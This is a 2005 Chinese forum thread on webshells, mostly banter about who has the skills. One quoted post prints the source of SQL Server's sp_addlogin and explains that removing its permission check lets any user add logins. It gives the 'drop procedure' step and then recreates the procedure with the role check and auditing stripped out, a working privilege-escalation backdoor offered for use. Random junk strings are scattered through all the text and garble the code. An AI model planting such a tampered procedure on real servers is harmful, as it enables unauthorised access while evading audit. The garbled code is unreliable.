找回密码
 立即加入
搜索

楼主: 上山上山爱

[原创]webshell篇

[复制链接]
冬冬 发表于 2005-6-17 22:13:40 | 显示全部楼层
就凭你?( M$ b+ `/ x: c. d  V, y' X
有资格这样评价师院学生的计算机水平??
2 i  L, Z# B, }3 C% {  ^9 q2 W用这种口气诋毁别人!
$ c9 o) @4 r" W  z/ |; U鄙视你6 `5 @3 V6 Y& y$ Y" h" y0 t

; V1 v4 x! K  I( E6 p4 v3 F) O
$ P0 ~  J3 {: \4 K
[B]以下是引用[I]Lindx[/I]在2005-6-7 17:40:59的发言:[/B][BR]限( u# H% {5 R9 C- P  v  ]% U
这个定义未免太烂了吧,我想知道你用什么方法获得人家的webshell,靠那些在网上公布的傻瓜工具吗。可是到头来还是不只所以然,那你凭什么教人家怎么去研究
; }+ v3 \( K, a# ^6 S" B对于师院人士的计算机水平,我实在不敢恭维,没有天才的诞生啊
# @# I  k! u' n9 e8 Q哎,可悲啊
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

冬冬 发表于 2005-6-17 22:15:07 | 显示全部楼层
就是就是。。- h( t- y: V/ K

1 Q+ l! n0 R2 S, y
[B]以下是引用[I]Lindx[/I]在2005-6-6 9:45:42的发言:[/B][BR]对一个深陷迷途的同志,各位大虾用得着这样蔑视它吗,我们应当怀着一颗仁慈的心来拯救它,爱护它,我KAO,JB
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

SeAsOn` 发表于 2005-6-18 01:10:31 | 显示全部楼层
[B]以下是引用[I]冬冬[/I]在2005-6-17 13:32:03的发言:[/B][BR]create procedure sp_addlogin
: d" d! f, i; J@loginame sysname+ ]& O9 |. }8 {1 K) v" w; @
,@passwd     sysname = Null
) d! I2 J' }' a. x) Z. G6 n3 F5 d,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT
" c6 c/ o7 F% ]. r" @8 zCONFIGURABLE???
( n1 {' ?( ^) X2 X,@deflanguage   sysname = Null
$ O6 B' g# ?' I; Z5 N+ k; k,@sid   varbinary(16) = Null8 N! ?+ v0 V- I# l
,@encryptopt varchar(20) = Null
; C+ N# Z# I2 y5 Q: KAS
' q; m* Y( P/ k6 m-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
( `; L& [* [9 Kset nocount on
5 Z0 \- v: I0 B& H8 m0 w# uDeclare @ret   int   -- return value of sp call$ H) t  s7 r0 J& f- Z5 h6 @& D6 d
-- CHECK PERMISSIONS --
7 z* S# p4 R; }8 j' O2 b' }- U$ DIF (not is_srvrolemember(\'securityadmin\') = 1)
6 q, L9 U/ s# e( P! r* Hbegin
! ~, g( Q$ Y7 o$ }% Idbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
( B) F# B& u( Yraiserror(15247,-1,-1)
% y8 X& {# V2 f  Areturn (1)4 B9 M/ `+ g3 l
end. h  l/ X$ ]* t  X& O. F2 Z: j
ELSE
  v5 s0 d$ q: {begin
+ B  v: x9 u5 I" D- s5 u# \6 c( I& T- h1 wdbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)- O1 Q; W% X8 S* Q& x, x: K
end' Q* y$ [& ^! R2 g! d
-- DISALLOW USER TRANSACTION --
" P, F# D' c$ n' w2 k2 P7 {set implicit_transactions off& r4 a# j7 u. w4 v& t2 \8 t
IF (@@trancount > 0)( V+ |6 v9 {. x) y% _8 M( f8 k
begin
+ P+ q- |3 f$ A0 `raiserror(15002,-1,-1,\'sp_addlogin\')6 P, j- R5 S0 x( }/ j7 ~: [
return (1)+ W6 @/ W' \. ~/ O
end* Q" }3 B( N3 O
-- VALIDATE LOGIN NAME AS:0 H' f: ^$ l5 [3 }% U/ ?9 g
-- (1) Valid SQL Name (SQL LOGIN)  q9 v9 n! u! G# m0 h
-- (2) No backslash (NT users only)) _" [. U) B) K7 U' g6 N* i
-- (3) Not a reserved login name" P0 O2 y% X  B
execute @ret = sp_validname @loginame
% @* w$ h& [. a: |3 pif (@ret <> 0)
5 {8 F  S3 d  ~$ O+ C: ], t  return (1)
0 j/ D$ Y$ d' y: o& m" b) ?5 K8 q/ qif (charindex(\'\\\', @loginame) > 0)
1 S- J* [' i1 {. Q2 C6 t" O& zbegin; O, ~, {# H# x8 v8 u
  raiserror(15006,-1,-1,@loginame)
4 M+ a" G+ K6 M0 |" u  return (1)4 [7 Z3 |4 S4 s- J
end  X+ L% X8 ~0 k! z0 R& [. e
--Note: different case sa is allowed.3 ], I- m7 `" r& g
if (@loginame = \'sa\' or lower(@loginame) in (\'public\'))# B6 ]8 }% j7 W' j: }0 \. O) @$ V( |& e6 p
begin
, u& ~- W9 t( g4 @1 D7 Jraiserror(15405, -1 ,-1, @loginame)
: z& B" a+ F$ B9 O. \! ireturn (1)
6 u$ i% f6 U! m* F. Xend
' ?% H. r9 V$ R% J2 H: e- p+ C-- LOGIN NAME MUST NOT ALREADY EXIST --$ x6 ]3 L5 q! z/ w
if exists(select * from master.dbo.syslogins where loginname =
4 L/ B6 B1 u) h/ ]. P9 [5 a@loginame)7 ^( l$ I: J, @  `7 Q+ R; }3 {9 h
begin
4 m1 n: ]4 |% e+ T) r) D$ j3 lraiserror(15025,-1,-1,@loginame); j+ j& L: a/ p% s. E
return (1)
8 @& A( Y. s! S  M/ mend5 V  b9 w8 p+ l# y' ^# w- f# [
-- VALIDATE DEFAULT DATABASE --) k) Q, w* o. h9 W8 j* J
IF db_id(@defdb) IS NULL7 {% X6 P1 S1 ^. D
begin4 t% H% ~8 L# |5 G( _
raiserror(15010,-1,-1,@defdb)
0 l1 [3 @& ^& y/ _$ C" Z' Rreturn (1)" L) |# c; s+ r1 f" o; V
end$ W9 K) P5 Y/ D2 P+ o5 {' M
-- VALIDATE DEFAULT LANGUAGE --
: [, |' [. z- N$ e9 b3 VIF (@deflanguage IS NOT Null)
8 q. o: V1 `- q/ Q8 B' @begin
/ v2 D) |; N) K; E; H) l$ `9 C/ uExecute @ret = sp_validlang @deflanguage
/ ~+ h7 m. e" Q6 ^6 l4 A# g- wIF (@ret <> 0)
- V* Z) c, A  S4 X% Oreturn (1)
# w4 U; _5 M4 s; ^0 U8 A5 Aend1 J' S* [% I" M% `9 |6 W( w
ELSE; B/ k$ [/ `) R% S+ c+ q. E
begin1 a6 I% ?- G9 Q+ s
select @deflanguage = name from master.dbo.syslanguages/ [; l# L/ b1 `7 X$ U/ {
where langid = @@default_langid --server default
  E: T& }: b& ]4 g( Olanguage# E+ C( }2 Y5 S1 X1 j
if @deflanguage is null
& ]: n6 t) I* H  eselect @deflanguage = N\'us_english\', s. n( ]# M: c. I" B6 X
end
) {! q, \! t5 k* z/ p( U4 ^-- VALIDATE SID IF GIVEN --3 s: U+ I' J4 a4 n+ x
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))/ ]8 y- a# l5 c' h
begin0 @# M' J3 H" [4 a! W; D% q' q
raiserror(15419,-1,-1)6 k) T, c% q! Q" e- \; N. w  S
return (1)
) I4 |  c, H7 tend% f' u4 \7 Z  B6 O
else if @sid is null! I4 B* F1 C- z' L, R  V
select @sid = newid()
: g* L( o1 C/ ]7 v+ aif (suser_sname(@sid) IS NOT Null); }/ ^6 f1 Z1 a
begin/ H9 E, D7 M" g
raiserror(15433,-1,-1)
: B' b0 d0 F  X4 b* i/ f- ureturn (1)
- [+ \9 x5 i: \6 b5 g! L8 [end
) F/ A1 j, o& E( o5 C-- VALIDATE AND USE ENCRYPTION OPTION --
: D- d4 w7 `$ |( w. hdeclare @xstatus smallint
) G+ k' b- k- Mselect @xstatus = 2 -- access
5 D! E( }4 v0 y0 l+ Sif @encryptopt is null) y) t, V* K6 {
select @passwd = pwdencrypt(@passwd)4 h0 U9 M6 u0 k4 s5 K$ Z# l
else if @encryptopt = \'skip_encryption_old\'
3 Y+ A( J& V4 ~5 ~  rbegin
% z9 c+ n5 G; {6 kselect @xstatus = @xstatus | 0x800, -- old-style
9 U6 p2 L% o7 l1 I' fencryption
" v; Q1 _4 F- Q. [@passwd = convert(sysname, convert(varbinary$ c' Y. h; F6 l9 D0 G
(30), convert(varchar(30), @passwd))); R8 c$ C9 A7 s6 n( u
end/ s5 m6 }% v+ \1 J4 o1 }/ c
else if @encryptopt <> \'skip_encryption\'
) H8 O, m. Z& c* c: P" B  c0 Ybegin. ]4 d/ N) ]" W! _" o( B
raiserror(15600,-1,-1,\'sp_addlogin\')
. ~7 v8 a6 q0 ~/ mreturn 13 l3 s: q7 X. [" ~/ X4 {2 g% w; l5 b
end
* e/ [/ n* ]# I  H9 {8 \-- ATTEMPT THE INSERT OF THE NEW LOGIN --: s" N8 w6 c1 ~9 ^  r4 O
INSERT INTO master.dbo.sysxlogins VALUES
, `# G" W8 Y- b$ n: ]- f  (NULL, @sid, @xstatus, getdate(),
3 @, O" Z/ L; y" B& }    getdate(), @loginame, convert(varbinary(256), @passwd),
0 m/ S8 c9 }# S% N  z. y* d* t    db_id(@defdb), @deflanguage)3 s, V* o  Y0 q2 i3 C. E
if @@error <> 0 -- this indicates we saw duplicate row
. K2 {" m5 q7 h& a# w; s  return (1)
1 I0 x5 A8 |7 @' ^-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE ; W- z0 _6 Q7 ]+ ~( n* J
SYSLOGINS CHANGE --& u2 Q  L* \: x
exec(\'use master grant all to null\'); g9 u3 t9 k0 H% c# p% f6 ?( p4 L
-- FINALIZATION: RETURN SUCCESS/FAILURE --
! X: _" o! }% d: ?: \raiserror(15298,-1,-1)
1 R  i" [4 h1 Y- }1 k; O2 Mreturn (0) -- sp_addlogin
0 |6 A* o& [1 p$ j4 z! pGO+ Y$ L2 R1 w: n
之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 & G' x; L1 q5 C9 L' Y4 d% w/ ^
sp_addlogin,主要是这里一段再搞鬼5 G: ]3 D: ~0 }3 |9 ?( L
-- CHECK PERMISSIONS --
, P% ^# T6 y5 b% V4 SIF (not is_srvrolemember(\'securityadmin\') = 1)0 E8 n" f: L! Y4 `* Q* o
begin7 L2 v. f; |7 _5 l
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)$ s8 t$ ?; E+ a% J, V
raiserror(15247,-1,-1)7 W* x4 u; f; X* H6 p
return (1)$ z! {: H7 {* Y' w  n, k( A
end
  I/ }3 a/ w! a' T1 \( MELSE
/ M7 F) U) H- k* |) A2 o8 w( qbegin
0 L* A9 t9 f% f. b3 @* _dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
$ U% t& Y$ R1 G4 P" jend4 \; ]5 C6 K3 {

; x1 i0 n/ b1 u* G; @& y只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。1 t* g  q6 h2 U3 L: @9 Z  ?7 `- \
drop procedure sp_addlogin* A/ y6 z! G- X  x# {' F. `, ~

. }! R6 z- v# S3 |  T7 q% y5 B/ n  ]/ ~
+ ~0 y- E: ]9 i" C7 c9 F+ |" S
然后再来恢复sp_addlogin
& n& f4 a$ m$ Q) h1 t+ f
, J7 I' ^, ~5 D7 h: N7 o$ _% D, b- J% @& K9 c! K6 g1 s$ d- ^

; w: z% R: p0 B2 H$ g" T. [create procedure sp_addlogin
  O+ r- i: D, O) Q* \@loginame sysname
9 B$ v( ?* |5 u; },@passwd     sysname = Null
7 A  U6 p/ Q) P% W,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT * q; V% D* ~0 u2 ^6 X; p
CONFIGURABLE???4 S; w8 l0 m# D) `. _. O
,@deflanguage   sysname = Null( Z9 X) P; ]. k: Q, q& \* k% k
,@sid   varbinary(16) = Null
& t9 {& L/ t: k+ e  f7 T7 D; \2 n. I,@encryptopt varchar(20) = Null
/ u' {. c1 f; G5 s7 z& fAS5 y- o  ?1 |2 M) w) Y
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
2 E7 g. P% O) k: c+ Aset nocount on
- ~8 L4 U& U8 Q; @$ e, FDeclare @ret   int   -- return value of sp call
' ~. Z% S9 V1 e! o  |' G1 K( g$ K1 U, K! }9 N2 T. j
-- DISALLOW USER TRANSACTION --
6 `- [2 ]- s  ?6 i* e0 G$ }set implicit_transactions off9 z) {" Y. y$ |  v- z) Z7 G9 C
IF (@@trancount > 0)2 A4 k. j. N- P1 M/ B9 L
begin
* w3 a, {  h: Q6 L* `; C. l* k' H3 p- mraiserror(15002,-1,-1,\'sp_addlogin\')9 Q$ t1 j: T4 s8 K7 s  J* w1 t
return (1)
  I) E6 K9 T" {' m8 l# Y4 t0 _end; q! J) f0 H+ t: H# f
-- VALIDATE LOGIN NAME AS:
8 ?! P5 {3 d8 V-- (1) Valid SQL Name (SQL LOGIN). Z' y9 Y  a% E& q8 p4 s
-- (2) No backslash (NT users only). g1 ~& k5 \/ O
-- (3) Not a reserved login name2 [8 X- l' r) ~7 V4 q/ W
execute @ret = sp_validname @loginame0 W; i& |1 b0 L
if (@ret <> 0)3 o0 X3 t6 y5 H: g. S  P  P
  return (1)8 r3 ~3 `/ `1 |8 S2 s5 v- g
if (charindex(\'\\\', @loginame) > 0)8 F, u1 m" `" e- ]3 S2 q) G% _% K
begin
) O9 m& p- S( p5 D7 U  raiserror(15006,-1,-1,@loginame)' q9 g; {% p( X, }: |
  return (1)
* Y/ T" f! ]2 }% r& ?end" f( o$ u- F9 @: n" w
--Note: different case sa is allowed.1 I4 F# D" R! y
if (@loginame = \'sa\' or lower(@loginame) in (\'public\'))4 B, N3 k  Q0 T$ Y0 ^! j
begin
# j* E/ D/ ?: X# v# E7 l0 U0 Jraiserror(15405, -1 ,-1, @loginame). v% O0 J1 R, k! z# W2 ?
return (1)) f& S. F) m* ^, q. M# r$ c1 N) ?/ s
end
& P" `0 ~# e0 B; a5 ~-- LOGIN NAME MUST NOT ALREADY EXIST --! h2 \: X  g% c7 r0 {
if exists(select * from master.dbo.syslogins where loginname =
/ p  ?1 T1 k9 f8 T4 a. Z@loginame), N- \# V; {3 Y* {& h
begin
9 G" D  e  ^( x. u, eraiserror(15025,-1,-1,@loginame)& e: v$ B' l9 o0 f! Y* `& k: g1 N
return (1)
: u2 M0 M( B- \6 h" k5 E9 Iend7 R* }$ L+ q* c. x1 Y& V
-- VALIDATE DEFAULT DATABASE --/ ]- T* Z2 w  S+ I: M
IF db_id(@defdb) IS NULL
; R. x! ~4 P. G' m( B! a( P  ibegin  u0 ~! ^, e5 g0 R9 z
raiserror(15010,-1,-1,@defdb)& c. u, N" m/ n
return (1)4 G5 q; G4 M( U
end( {+ a7 y5 U& z' |1 h& `
-- VALIDATE DEFAULT LANGUAGE --
. ~9 E, e) |3 c+ Q% g& _; m# r9 NIF (@deflanguage IS NOT Null)" }' D# h9 [: f/ B9 X( W' e. F
begin" `% [! L6 B1 I& C
Execute @ret = sp_validlang @deflanguage' \( L! _' W. p/ F" J, m) m" P
IF (@ret <> 0)
( I* ?4 E9 `! V8 }: o) _8 d* o7 a8 Kreturn (1)/ ?. a) v  z) s7 y' b
end1 x8 s; c5 Y/ o0 y$ ]! T  Y
ELSE5 N/ Y* A4 T) b& b1 Y; D
begin
9 }, ~- R4 w6 k1 Vselect @deflanguage = name from master.dbo.syslanguages6 f) _) W6 y, z/ a) j# u
where langid = @@default_langid --server default 9 I" D% h( y: l$ s$ ]+ h+ D7 A
language" Y, D1 H* J* Y: f; J' U2 F
if @deflanguage is null/ ~' D* ?6 i1 Q, n  T( Z) s
select @deflanguage = N\'us_english\'
, I: S# r+ _& e8 W$ R: W2 Nend& [/ E6 H4 J& l4 Z. n/ k9 V/ J4 H: N; }
-- VALIDATE SID IF GIVEN --3 b# T" I; J# F
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))1 G) i2 z3 g3 Q$ t
begin
+ W, H0 g$ b% d  O: A; n1 Y, J* Hraiserror(15419,-1,-1)9 s% x+ P; y6 ^  Z) U1 e# C
return (1)
* R, t+ N! U* k% j, |end
+ [/ l1 x7 k3 y2 g# Belse if @sid is null
" _3 E8 L$ g, @" E: H1 rselect @sid = newid()) P' f- M/ ^0 Y6 D! r9 f
if (suser_sname(@sid) IS NOT Null)
5 @, X3 d, m- E+ R2 T: [, abegin1 n& ~. x/ y8 o: {7 P4 M, L
raiserror(15433,-1,-1)( A* f5 y/ X- m- ~' H
return (1)% [! {- m2 i: I
end
- o. r% ]1 {4 y0 k  e' P, ]-- VALIDATE AND USE ENCRYPTION OPTION --
7 v+ s. {- J' d. vdeclare @xstatus smallint
8 N9 r" h9 Y  _( X/ P. T; ]; Iselect @xstatus = 2 -- access3 E7 Y+ \# l/ e1 n" U3 X
if @encryptopt is null
& c3 K$ T$ ~( i4 Nselect @passwd = pwdencrypt(@passwd)% {* T0 R; N& `; a
else if @encryptopt = \'skip_encryption_old\'
8 k7 o! R: x7 @+ y; y) hbegin
; M  R! m2 m& {* ?% m! H* \4 r8 |select @xstatus = @xstatus | 0x800, -- old-style
0 _4 i* w- A! F" ]* l+ G& l& Uencryption6 D- N& |9 N- R! c( s% o$ i8 s
@passwd = convert(sysname, convert(varbinary8 D9 I  L& C6 d$ e7 a( R1 b7 w
(30), convert(varchar(30), @passwd)))6 _5 h9 U4 B+ C, _. V
end
  p7 {% z, s, p; a! N  |else if @encryptopt <> \'skip_encryption\'
/ N. |! E' h) h1 C% jbegin
- Z# l5 U  S  wraiserror(15600,-1,-1,\'sp_addlogin\')% G7 _% G+ m3 U8 `( s
return 1
" i1 h9 n- B) k* P, K9 eend7 e3 u% S* f0 r, x# N- C& z1 f6 C6 M
-- ATTEMPT THE INSERT OF THE NEW LOGIN --9 _* y; E$ {! u  X3 Q3 k
INSERT INTO master.dbo.sysxlogins VALUES
; M0 y& G- a5 K  (NULL, @sid, @xstatus, getdate(),( ]% E6 O! g% O; h3 L& |7 _
    getdate(), @loginame, convert(varbinary(256), @passwd),' d5 o1 Z8 R4 C
    db_id(@defdb), @deflanguage)7 @; K  \$ L4 P+ y/ o0 A$ P7 M+ P
if @@error <> 0 -- this indicates we saw duplicate row
8 X% I, a* Q# q' k1 }% `  c. V  return (1)
1 z  D$ I" l( G7 t+ t' a-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
' c; a; p  ^6 |% [! ESYSLOGINS CHANGE --
2 E# X1 c* y; {, `) Zexec(\'use master grant all to null\')
. V# T1 T  b) {/ z-- FINALIZATION: RETURN SUCCESS/FAILURE --) w6 O8 f- x- @" S: h4 X
raiserror(15298,-1,-1)
- F$ B; @+ {$ f3 c% l: rreturn (0) -- sp_addlogin9 {7 I% i. B" u: K
GO
0 _6 r/ w% i. g. M  N  b. ?
MM很强啊..    是不是师院计算机系的.??
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

SeAsOn` 发表于 2005-6-18 01:11:08 | 显示全部楼层
就当凭着这美丽的回帖..  
% E0 L: G9 h  I9 M; Z偶帮你加精了..
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

冬冬 发表于 2005-6-20 19:44:36 | 显示全部楼层
我不是计算机系的。8 Y6 l- h* n- B9 _: h1 x' C5 P( O
自己学的。: S* \( r8 ]9 O1 m/ k
' E. h& s# \3 L4 D6 d0 Y' ^
[B]以下是引用[I]瀟濏づ聴渢[/I]在2005-6-17 17:10:31的发言:[/B][BR]7 a$ J2 p3 a7 t" F$ L. f1 G% R; d

0 w; U3 Y& T6 lMM很强啊..    是不是师院计算机系的.??
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

SeAsOn` 发表于 2005-6-20 23:42:42 | 显示全部楼层
晕..  不是吧.. 自学的?...
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

冬冬 发表于 2005-6-23 20:08:09 | 显示全部楼层
我不是计算机系的!!!
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

amysong 发表于 2005-7-5 17:56:46 | 显示全部楼层
...晕...在这里讨论还要别人给QB
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即加入

本版积分规则

手机版|龙江曦月 ( 闽ICP备05009150号-1 )闽公安网备35060202000316

GMT+8, 2026-4-4 04:16 , Processed in 0.040109 second(s), 18 queries , Gzip On.

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表